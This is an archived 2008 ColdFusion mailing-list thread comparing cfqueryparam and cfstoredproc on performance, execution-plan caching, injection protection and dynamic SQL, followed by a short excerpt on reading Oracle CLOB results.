subject:"cfstoredproc"

SQL in your CF code can be made dynamic more easily.

The SP equivalent involves a SQL string and EXEC(). Not pretty.

Adrian
Building a database of ColdFusion errors at http://cferror.org/

-Original Message-
From: Marie Taylore
Sent: 30 October 2008 15:49
To: cf-talk
Subject: cfqueryparam vs cfstoredproc?


Question... the more I read about CFQUERYPARAM the more it seems it
mitigates many of the problems that using stored procedures also solves.  I
realize with stored procedures you have a lot more power in terms of SQL
scripting, but for basic queries, is CFQUERYPARAM just as fast as (or faster
than) running CFSTOREDPROC?

For a CFSTOREDPROC vs CFQUERYPARAM debate what would be the better thans
on each side of the argument?

A few I can think of off the top of my head would be:

Stored Procedures - can contain advanced SQL  procedural code.  Encapsulate
code outside of you application for a layer of abstraction.

CFQUERYPARAM - allows non-DBAs to take advantage of pre-compiled queries,
providing speedier and more secured code.  You can encapsulate much the
same way a stored procedure does with CFCs.

Would love to hear from others on the advantages/disadvantages of each

Thanks!

Marie

keywords for searching: cfprocparam vs cfqueryparam, cfqueryparam vs
cfprocparam, cfprocresult, cfquery, cftransaction, cfupdate, cfinsert


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314607
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread morgan l

We call stored procedures using cfqueryparam:
cfquery datasource=DSN name=SomeQuery
EXEC StoredProcName
@ParamName = cfqueryparam cfsqltype=cf_sql_integer
value=#session.value#
/cfquery


On Thu, Oct 30, 2008 at 10:49 AM, Marie Taylore [EMAIL PROTECTED]wrote:

 Question... the more I read about CFQUERYPARAM the more it seems it
 mitigates many of the problems that using stored procedures also solves.  I
 realize with stored procedures you have a lot more power in terms of SQL
 scripting, but for basic queries, is CFQUERYPARAM just as fast as (or
 faster
 than) running CFSTOREDPROC?

 For a CFSTOREDPROC vs CFQUERYPARAM debate what would be the better
 thans
 on each side of the argument?

 A few I can think of off the top of my head would be:

 Stored Procedures - can contain advanced SQL  procedural code.
  Encapsulate
 code outside of you application for a layer of abstraction.

 CFQUERYPARAM - allows non-DBAs to take advantage of pre-compiled queries,
 providing speedier and more secured code.  You can encapsulate much the
 same way a stored procedure does with CFCs.

 Would love to hear from others on the advantages/disadvantages of each

 Thanks!

 Marie

 keywords for searching: cfprocparam vs cfqueryparam, cfqueryparam vs
 cfprocparam, cfprocresult, cfquery, cftransaction, cfupdate, cfinsert


 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314608
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Alan Rother

The only issue I have run into with CFQUERYPARAM is that is can degrade
performance on dynamic queries.
This is an inherent issue in what CFQUERYPARAM does, it essentially makes
your queries into stored procs, if you actually watch the traffic flow
through a MS SQL Server for example, you will see your app is actually
calling what appear to be stored procs.

The performance issue manifest when your query has dynamic bits, such as the
following example:

SELECT ID, FName, LName, Email
FROM SomeTable
WHERE
IsActive = 1
AND
ClientCode = cfqueryparam cfsqltype=CF_SQL_INTEGER
value=#Session.ClientCode#
cfif IsDefined(Form.FnameFilter)
AND
Fname  = cfqueryparam cfsqltype=CF_SQL_VARCHAR
value=#Form.FnameFilter#
/cfif
 cfif IsDefined(Form.LnameFilter)
AND
Lname  = cfqueryparam cfsqltype=CF_SQL_VARCHAR
value=#Form.LnameFilter#
/cfif

The first time CF processes this query, it creates some sort of memory based
or temporary stored proc for it based on the structure of the query as it
was run in this instance. It builds up an image of the query based on the
CFQUERYPARAMS used. Now if the next time the query is executed one or more
of the IF statements has a different result, thus including or excluding one
or more, then CF has to recompile the temporary stored proc. This can cause
a small performance loss.

In some performance tuning I did on an app earlier this year, I had 1 query
that was executed several thousand times in a long looping process. Nearly
every time it was hit it was different and forced a recompile. I removed all
of the CFQUERYPARAMs from it and it's average execution time went from 350ms
to 10ms.

Obviously, if this is a query that only executes occasionally, the
difference between 350ms and 10 ms is nothing to worry about, but over
millions of executions a day, it adds up.

=]

-- 
Alan Rother
Adobe Certified Advanced ColdFusion MX 7 Developer
Manager, Phoenix Cold Fusion User Group, AZCFUG.org


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314609
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Jason Fisher

Marie,

In my experience with SQL Server there is zero notable performance difference 
between well-formed SQL in a stored proc and the same well-formed SQL in a 
CFQUERY with CFQUERYPARAM: both gain from the built-in performance tuning of 
the data server.  Also, note that you can run nearly any code directly between 
the CFQUERY tags that you could put in a stored proc.  Yes, you can do 
multi-statement (just end each with ; like normal) and you can do cursors and 
you can declare database vars, all within a query in CFQUERY.

As to which is better, in my opinion that depends primarily on who's 
responsible for writing the database calls.  As a developer who also writes and 
optimizes the DB calls, I love having all my code in one searchable library = 
my CFML pages.  If I need to change a data structure, then all changes, both 
code and DB side, can be found in a single codebase search and changed all at 
once and checked into one version control system (my CFM repository).  On the 
other hand, if you have a separate person / group doing the DB work, it 
probably makes more sense to let them live in the stored proc world, especially 
if they're more comfortable there.

HTH 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314610
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfqueryparam vs cfstoredproc?

2008-10-30 Thread brad

 Original Message 
Subject: cfqueryparam vs cfstoredproc?
From: Marie Taylore [EMAIL PROTECTED]

 I realize with stored procedures you have a lot more power in terms of SQL
 scripting, 

This is not really true.  You can put anything you want in a cfquery
block. temp tables, CTE's, sp_commandshell, you name it.  Procedures to
not implicitly allow for any additional functionality other than the
possibility of being called easily from other parts of your database.

 but for basic queries, is CFQUERYPARAM just as fast as (or faster
 than) running CFSTOREDPROC?

There are no significant performance differences between running the
same piece of sql as a paramaterized cfquery, or as a stored procedure. 
The biggest difference, is the amount of text that gets sent over the
wire to the SQL server.  select * from ... vs execute sp_etc

 Stored Procedures - can contain advanced SQL  procedural code. 

Like above, your stored proc can't do anything your inline query can't

 Encapsulate code outside of you application for a layer of abstraction.

Now, you're talking.  This is, in my opinion, one of the most useful
features of stored procs. This is most readily apparent if your app does
not use some form of data abstraction layer like DAOs.  Additionally, if
you have business logic in your SQL, (which is common though I recommend
against it) placing that logic in a proc would make it possible for
another process (Java, .NET, etc.) to reuse it at the database level.  I
have worked on applications where the basic API was comprised of
hundreds of stored procedures full of business logic. 

 CFQUERYPARAM - allows non-DBAs to take advantage of pre-compiled queries,
 providing speedier and more secured code. You can encapsulate much the
 same way a stored procedure does with CFCs.

Speedier than an ad-hoc query perhaps.  Watch out for blanket statements
about paramaterized performance though:
http://www.codersrevolution.com/index.cfm/2008/7/26/cfqueryparam-its-not-just-for-security-also-when-NOT-to-use-it
Wrapping data access in a CFC is my preferred method of abstracting and
reusing SQL in my application, however that is really a CFC vs Proc
thing and not a cfqueryparam vs proc conversation.

 Would love to hear from others on the advantages/disadvantages of each

I like stored procs for reusability and organization (SQL code is easier
to read and edit in a SQL IDE as opposed to a CF IDE).  I however, do
not use them for security nor performance.

~Brad

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314612
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfqueryparam vs cfstoredproc?

2008-10-30 Thread brad

Let's hope you don't ever need to handle more than one result set.  :)

Also, that requires you get the return code manually as well.

~Brad

    Original Message 
 Subject: Re: cfqueryparam vs cfstoredproc?
 From: morgan l [EMAIL PROTECTED]
 We call stored procedures using cfqueryparam:
 cfquery datasource=DSN name=SomeQuery
 EXEC StoredProcName
 @ParamName = cfqueryparam cfsqltype=cf_sql_integer
 value=#session.value#
 /cfquery
 
 
 



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314614
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Jason Fisher

Alan,

SQL Server will create an execution plan for each query that gets run, where 
the plan is specific to the final Query definition.  From SQL Server's 
perspective, these are 2 different queries, so each gets its own plan:

Query with both names:
SELECT ID, FName, LName, Email
FROM SomeTable
WHERE
IsActive = 1
AND
ClientCode = @param1
AND Fname  = @param2
AND Lname  = @param3

Query with last name only:
SELECT ID, FName, LName, Email
FROM SomeTable
WHERE
IsActive = 1
AND
ClientCode = @param1
AND Lname  = @param2

So, every query I run with only a Last Name filter will re-use that 2nd query 
plan, and that increases performance.  Without using CFQUERYPARAM at all, every 
instance of the query is 'new' and that should (in theory) kill your 
performance, not boost it.  In other words, the following queries would have 
the same plan with params but are each 'new' and distinct without params:

Query with last name only:
SELECT ID, FName, LName, Email
FROM SomeTable
WHERE
IsActive = 1
AND
ClientCode = '1234'
AND Lname  = 'Smith'

Query with last name only:
SELECT ID, FName, LName, Email
FROM SomeTable
WHERE
IsActive = 1
AND
ClientCode = '1234'
AND Lname  = 'Johnson'

I'd be curious to see what the Analyzer had to say on the DB server side about 
the query plans for running several hundred unique queries vs several hundred 
recurrences of a few plans.


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314615
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Alan Rother

Interesting...
I thought the same thing until I ran these tests. I analyzed the results
with ColdFusion debugging output, the Server Monitor in CF8 Ent, SeeFusion,
and watched them execute through SQL Profiler, all of them showed better
execution times when I removed the CFQUERYPARAMs. Now, this was on a limited
subset of my queries. I would still argue that using it is far better than
not. Most of the Queries I have used it in I did see a performance
improvement in.

=]

On Thu, Oct 30, 2008 at 9:18 AM, Jason Fisher [EMAIL PROTECTED] wrote:

 Alan,

 SQL Server will create an execution plan for each query that gets run,
 where the plan is specific to the final Query definition.  From SQL Server's
 perspective, these are 2 different queries, so each gets its own plan:

 Query with both names:
 SELECT ID, FName, LName, Email
 FROM SomeTable
 WHERE
 IsActive = 1
 AND
 ClientCode = @param1
 AND Fname  = @param2
 AND Lname  = @param3

 Query with last name only:
 SELECT ID, FName, LName, Email
 FROM SomeTable
 WHERE
 IsActive = 1
 AND
 ClientCode = @param1
 AND Lname  = @param2

 So, every query I run with only a Last Name filter will re-use that 2nd
 query plan, and that increases performance.  Without using CFQUERYPARAM at
 all, every instance of the query is 'new' and that should (in theory) kill
 your performance, not boost it.  In other words, the following queries would
 have the same plan with params but are each 'new' and distinct without
 params:

 Query with last name only:
 SELECT ID, FName, LName, Email
 FROM SomeTable
 WHERE
 IsActive = 1
 AND
 ClientCode = '1234'
 AND Lname  = 'Smith'

 Query with last name only:
 SELECT ID, FName, LName, Email
 FROM SomeTable
 WHERE
 IsActive = 1
 AND
 ClientCode = '1234'
 AND Lname  = 'Johnson'

 I'd be curious to see what the Analyzer had to say on the DB server side
 about the query plans for running several hundred unique queries vs several
 hundred recurrences of a few plans.


 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314616
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Jason Fisher

Interesting, indeed.  Wonder if there's an issue of table scan vs index and how 
the initial execution plans are getting cached.  Definitely something to keep 
your eye on!



Interesting...
I thought the same thing until I ran these tests. I analyzed the results
with ColdFusion debugging output, the Server Monitor in CF8 Ent, SeeFusion,
and watched them execute through SQL Profiler, all of them showed better
execution times when I removed the CFQUERYPARAMs. Now, this was on a limited
subset of my queries. I would still argue that using it is far better than
not. Most of the Queries I have used it in I did see a performance
improvement in.

=]


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314618
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Mark Kruger

Something of note... If you are  using cfqueryparam all of the variables
need to be bound. Leaving any variable hanging out there will not allow
you to take advantage of the execution plan - even if it's a constant. 

This query

cfquery
SELECT col1,col2
FROMusers
WHERE   active = 1
AND userName = cfqueryparam cfsqltype=CF_SQL_CHAR
value=bob
/cfquery

Will not pop the exec plan cache because the server will need to evaluate
the 1 after active to type it as an int. To make it work it would need to
be written as:

cfquery
SELECT col1,col2
FROMusers
WHERE   active = cfqueryparam cfsqltype=CF_SQL_INTEGER
value=1/
AND userName = cfqueryparam cfsqltype=CF_SQL_CHAR
value=bob
/cfquery

Of course the top query is quite safe from injection.. It just has no chance
of hitting the cache.

In addition, server configuration issues on the SQL server will determine
how effective it is at hitting the cache. By default it does a pretty good
job, but it can need adjusting... Say when there are a few hundred databases
for example.

-Mark


Mark A. Kruger, CFG, MCSE
(402) 408-3733 ext 105
www.cfwebtools.com
www.coldfusionmuse.com
www.necfug.com

-Original Message-
From: Alan Rother [mailto:[EMAIL PROTECTED] 
Sent: Thursday, October 30, 2008 11:28 AM
To: cf-talk
Subject: Re: cfqueryparam vs cfstoredproc?

Interesting...
I thought the same thing until I ran these tests. I analyzed the results
with ColdFusion debugging output, the Server Monitor in CF8 Ent, SeeFusion,
and watched them execute through SQL Profiler, all of them showed better
execution times when I removed the CFQUERYPARAMs. Now, this was on a limited
subset of my queries. I would still argue that using it is far better than
not. Most of the Queries I have used it in I did see a performance
improvement in.

=]



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314620
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Craigsell

My 2 cents

I use ORACLE stored procs exclusively (using a CFSTOREDPROC tag) and have 
found them to be great.  There are things I can do in stored procs that 
would be difficult to do in a CFC.  I can easily have multiple datasets 
returned in one call.  And the CFPROCPARAM gives me the same benefits as 
CFQUERYPARAM.

I'm a big believer in doing database things on the database and display 
stuff in the web server.  I'll confess though that I don't use CF much 
anymore except for CFCs-- most everything I do is in Flex. 


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314621
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfqueryparam vs cfstoredproc?

An open question then...

I have a function that takes optional arguments for each of the columns in a
table like this:

cffunction name=create

cfset var separator = 
cfset var q = 

cfquery name=q datasource=#VARIABLES.DSN#
INSERT INTO [comment] (
cfif StructKeyExists(ARGUMENTS, column1)
#separator#
[column1]
cfset separator = ,
/cfif
cfif StructKeyExists(ARGUMENTS, column2)
#separator#
[column2]
cfset separator = ,
/cfif
) VALUES (
cfset separator = 
cfif StructKeyExists(ARGUMENTS, column1)
#column1#
cfqueryparam cfsqltype=CF_SQL_INTEGER 
value=#ARGUMENTS.column1#
cfset separator = ,
/cfif
cfif StructKeyExists(ARGUMENTS, column2)
#separator#
cfqueryparam cfsqltype=CF_SQL_INTEGER 
value=#ARGUMENTS.column2#
cfset separator = ,
/cfif
)

SELECT SCOPE_IDENTITY() [commentID]
/cfquery

cfreturn q.commentID

/cffunction

This allows me to do an insert with any combination of columns using named
arguments:

cfset myDOA.create(column1 = 123)

cfset myDOA.create(column2 = 321)

cfset myDOA.create(column1 = 123, column2 = 321)

I have similar ones for updating, selecting and deleting.

So, how best to replicate this using stored procedures?

The place I'm working at the moment won't allow cfquery so I can't use my
beautiful code generator :O(

Adrian
Building a database of ColdFusion errors at http://cferror.org/

-Original Message-
From: Craigsell
Sent: 30 October 2008 17:45
To: cf-talk
Subject: Re: cfqueryparam vs cfstoredproc?


My 2 cents

I use ORACLE stored procs exclusively (using a CFSTOREDPROC tag) and have
found them to be great.  There are things I can do in stored procs that
would be difficult to do in a CFC.  I can easily have multiple datasets
returned in one call.  And the CFPROCPARAM gives me the same benefits as
CFQUERYPARAM.

I'm a big believer in doing database things on the database and display
stuff in the web server.  I'll confess though that I don't use CF much
anymore except for CFCs-- most everything I do is in Flex.


~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314622
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfqueryparam vs cfstoredproc?

2008-10-30 Thread brad

exec()
or sp_executesql

You would need to pass in the arguments as a list to the procedure and
then do the looping and building of a dynamic query with SQL.  Then
execute what you have created.

Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
will have to take additional steps to paramaterize it.  (requires
sp_executesql)

FYI: My advice assumes MS SQL.

~Brad

 Original Message 
Subject: RE: cfqueryparam vs cfstoredproc?
From: Adrian Lynch [EMAIL PROTECTED]
Date: Thu, October 30, 2008 1:06 pm
To: cf-talk cf-talk@houseoffusion.com

An open question then...



~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314623
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

RE: cfqueryparam vs cfstoredproc?

Exactly, which kinda defeats the point I feel.

I've got a few ways that I might try but for now I'm back to writing SPs.

If anyone's interested, I have the full DAO code here:

http://adrianlynch.co.uk/post.cfm?postID=21

Adrian
Building a database of ColdFusion errors at http://cferror.org/

-Original Message-
From: [EMAIL PROTECTED]
Sent: 30 October 2008 18:28
To: cf-talk
Subject: RE: cfqueryparam vs cfstoredproc?


exec()
or sp_executesql

You would need to pass in the arguments as a list to the procedure and
then do the looping and building of a dynamic query with SQL.  Then
execute what you have created.

Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
will have to take additional steps to paramaterize it.  (requires
sp_executesql)

FYI: My advice assumes MS SQL.

~Brad

 Original Message 
Subject: RE: cfqueryparam vs cfstoredproc?
From: Adrian Lynch [EMAIL PROTECTED]
Date: Thu, October 30, 2008 1:06 pm
To: cf-talk cf-talk@houseoffusion.com

An open question then...

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314629
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Aaron Rouse

I do you feel it would defeat the point?

On Thu, Oct 30, 2008 at 2:19 PM, Adrian Lynch [EMAIL PROTECTED]wrote:

 Exactly, which kinda defeats the point I feel.

 I've got a few ways that I might try but for now I'm back to writing SPs.

 If anyone's interested, I have the full DAO code here:

 http://adrianlynch.co.uk/post.cfm?postID=21

 Adrian
 Building a database of ColdFusion errors at http://cferror.org/

 -Original Message-
 From: [EMAIL PROTECTED]
 Sent: 30 October 2008 18:28
 To: cf-talk
 Subject: RE: cfqueryparam vs cfstoredproc?


 exec()
 or sp_executesql

 You would need to pass in the arguments as a list to the procedure and
 then do the looping and building of a dynamic query with SQL.  Then
 execute what you have created.

 Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
 will have to take additional steps to paramaterize it.  (requires
 sp_executesql)

 FYI: My advice assumes MS SQL.

 ~Brad

  Original Message 
 Subject: RE: cfqueryparam vs cfstoredproc?
 From: Adrian Lynch [EMAIL PROTECTED]
 Date: Thu, October 30, 2008 1:06 pm
 To: cf-talk cf-talk@houseoffusion.com

 An open question then...

 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314630
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Aaron Rouse

erf ... I meant Why do you feel it would defeat the point?

On Thu, Oct 30, 2008 at 2:51 PM, Aaron Rouse [EMAIL PROTECTED] wrote:

 I do you feel it would defeat the point?


 On Thu, Oct 30, 2008 at 2:19 PM, Adrian Lynch [EMAIL PROTECTED]wrote:

 Exactly, which kinda defeats the point I feel.

 I've got a few ways that I might try but for now I'm back to writing SPs.

 If anyone's interested, I have the full DAO code here:

 http://adrianlynch.co.uk/post.cfm?postID=21

 Adrian
 Building a database of ColdFusion errors at http://cferror.org/

 -Original Message-
 From: [EMAIL PROTECTED]
 Sent: 30 October 2008 18:28
 To: cf-talk
 Subject: RE: cfqueryparam vs cfstoredproc?


 exec()
 or sp_executesql

 You would need to pass in the arguments as a list to the procedure and
 then do the looping and building of a dynamic query with SQL.  Then
 execute what you have created.

 Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
 will have to take additional steps to paramaterize it.  (requires
 sp_executesql)

 FYI: My advice assumes MS SQL.

 ~Brad

  Original Message 
 Subject: RE: cfqueryparam vs cfstoredproc?
 From: Adrian Lynch [EMAIL PROTECTED]
 Date: Thu, October 30, 2008 1:06 pm
 To: cf-talk cf-talk@houseoffusion.com

 An open question then...

 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314631
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

RE: cfqueryparam vs cfstoredproc?

EXEC()ing a string won't produde the same execution plan as the base SQL
(--- a guess) and you lose cfqueryparam and cfprocparam's biggest
benefit, protecting against injection.

Adrian

-Original Message-
From: Aaron Rouse
Sent: 30 October 2008 19:52
To: cf-talk
Subject: Re: cfqueryparam vs cfstoredproc?

I do you feel it would defeat the point?

On Thu, Oct 30, 2008 at 2:19 PM, Adrian Lynch
[EMAIL PROTECTED]wrote:

 Exactly, which kinda defeats the point I feel.

 I've got a few ways that I might try but for now I'm back to writing SPs.

 If anyone's interested, I have the full DAO code here:

 http://adrianlynch.co.uk/post.cfm?postID=21

 Adrian
 Building a database of ColdFusion errors at http://cferror.org/

 -Original Message-
 From: [EMAIL PROTECTED]
 Sent: 30 October 2008 18:28
 To: cf-talk
 Subject: RE: cfqueryparam vs cfstoredproc?

 exec()
 or sp_executesql

 You would need to pass in the arguments as a list to the procedure and
 then do the looping and building of a dynamic query with SQL.  Then
 execute what you have created.

 Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
 will have to take additional steps to paramaterize it.  (requires
 sp_executesql)

 FYI: My advice assumes MS SQL.

 ~Brad

  Original Message 
 Subject: RE: cfqueryparam vs cfstoredproc?
 From: Adrian Lynch [EMAIL PROTECTED]
 Date: Thu, October 30, 2008 1:06 pm
 To: cf-talk cf-talk@houseoffusion.com

 An open question then...

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314632
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: cfqueryparam vs cfstoredproc?

2008-10-30 Thread Aaron Rouse

Ok, makes sense.  We use a CFC here that I built a long time ago that builds
insert/update queries based upon the database's meta data.  It puts in the
cfqueryparams and does data validation prior to that.  While the
cfqueryparams were put in for those very reasons, the seen benefit by anyone
using it is the fact they no longer have to write those queries.  They just
pass in typically the form structure, an action flag and the table name then
it does the rest.  I could see them still liking an SP that did it then the
wrapper for the SP would need all the appropriate checks on the data coming
in to hopefully avoid the possibility of a SQL injection attack.
On Thu, Oct 30, 2008 at 2:57 PM, Adrian Lynch [EMAIL PROTECTED]wrote:

 EXEC()ing a string won't produde the same execution plan as the base SQL
 (--- a guess) and you lose cfqueryparam and cfprocparam's biggest
 benefit, protecting against injection.

 Adrian

 -Original Message-
 From: Aaron Rouse
 Sent: 30 October 2008 19:52
 To: cf-talk
 Subject: Re: cfqueryparam vs cfstoredproc?


 I do you feel it would defeat the point?

 On Thu, Oct 30, 2008 at 2:19 PM, Adrian Lynch
 [EMAIL PROTECTED]wrote:

  Exactly, which kinda defeats the point I feel.
 
  I've got a few ways that I might try but for now I'm back to writing SPs.
 
  If anyone's interested, I have the full DAO code here:
 
  http://adrianlynch.co.uk/post.cfm?postID=21
 
  Adrian
  Building a database of ColdFusion errors at http://cferror.org/
 
  -Original Message-
  From: [EMAIL PROTECTED]
  Sent: 30 October 2008 18:28
  To: cf-talk
  Subject: RE: cfqueryparam vs cfstoredproc?
 
 
  exec()
  or sp_executesql
 
  You would need to pass in the arguments as a list to the procedure and
  then do the looping and building of a dynamic query with SQL.  Then
  execute what you have created.
 
  Good luck.  Dynamic SQL isn't nearly as easy in SQL than CF.  Also, you
  will have to take additional steps to paramaterize it.  (requires
  sp_executesql)
 
  FYI: My advice assumes MS SQL.
 
  ~Brad
 
   Original Message 
  Subject: RE: cfqueryparam vs cfstoredproc?
  From: Adrian Lynch [EMAIL PROTECTED]
  Date: Thu, October 30, 2008 1:06 pm
  To: cf-talk cf-talk@houseoffusion.com
 
  An open question then...


 

~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to 
date
Get the Free Trial
http://ad.doubleclick.net/clk;207172674;29440083;f

Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:314633
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4

Re: CFMX 7 - Oracle CLOB / cfstoredproc

2008-10-14 Thread pmolaro

I was having the same issue.  I was getting a clob back and then couldn't
figure out out to get the content to display.  One of our Java guys helped
me figure this out.   So what I learned is that a CLOB is an object and
there are a lot of attributes to it, including the actual character values
which is really what you want in the end.  That little output you saw is the
object's string identifier.  So in Coldfusion, to get the character set we
had to create a Java string object and pass the clob into the constructor. 
It seems the constructor recoginizes that the value is a clob and when it
creates the string it assigns the char set as the value.  The end code was
(using your example):

cfset x = CreateObject(java,java.lang.String).init(myXMLOutput)

cfoutput#x#/cfoutput

-


Gert Franz wrote:
 
 Did you check whether Oracle executes the storedproc? You could use the 
 monitorin tool for that while cfm executes. what happens if you call the 
 function directly inside a cfquery tag and dump the result?
 Just try to fill a variable without . notation eg myXMLOutput.
 After that, i have no ideas... :-)
 good luck
 
 Greetings / Grüsse
 Gert Franz
 Customer Care
 Railo Technologies GmbH
 [EMAIL PROTECTED]
 www.railo.ch
 
 Join our Mailing List / Treten Sie unserer Mailingliste bei:
 deutsch: http://de.groups.yahoo.com/group/railo/
 english: http://groups.yahoo.com/group/railo_talk/
 
 
 
 Mike Garner schrieb:
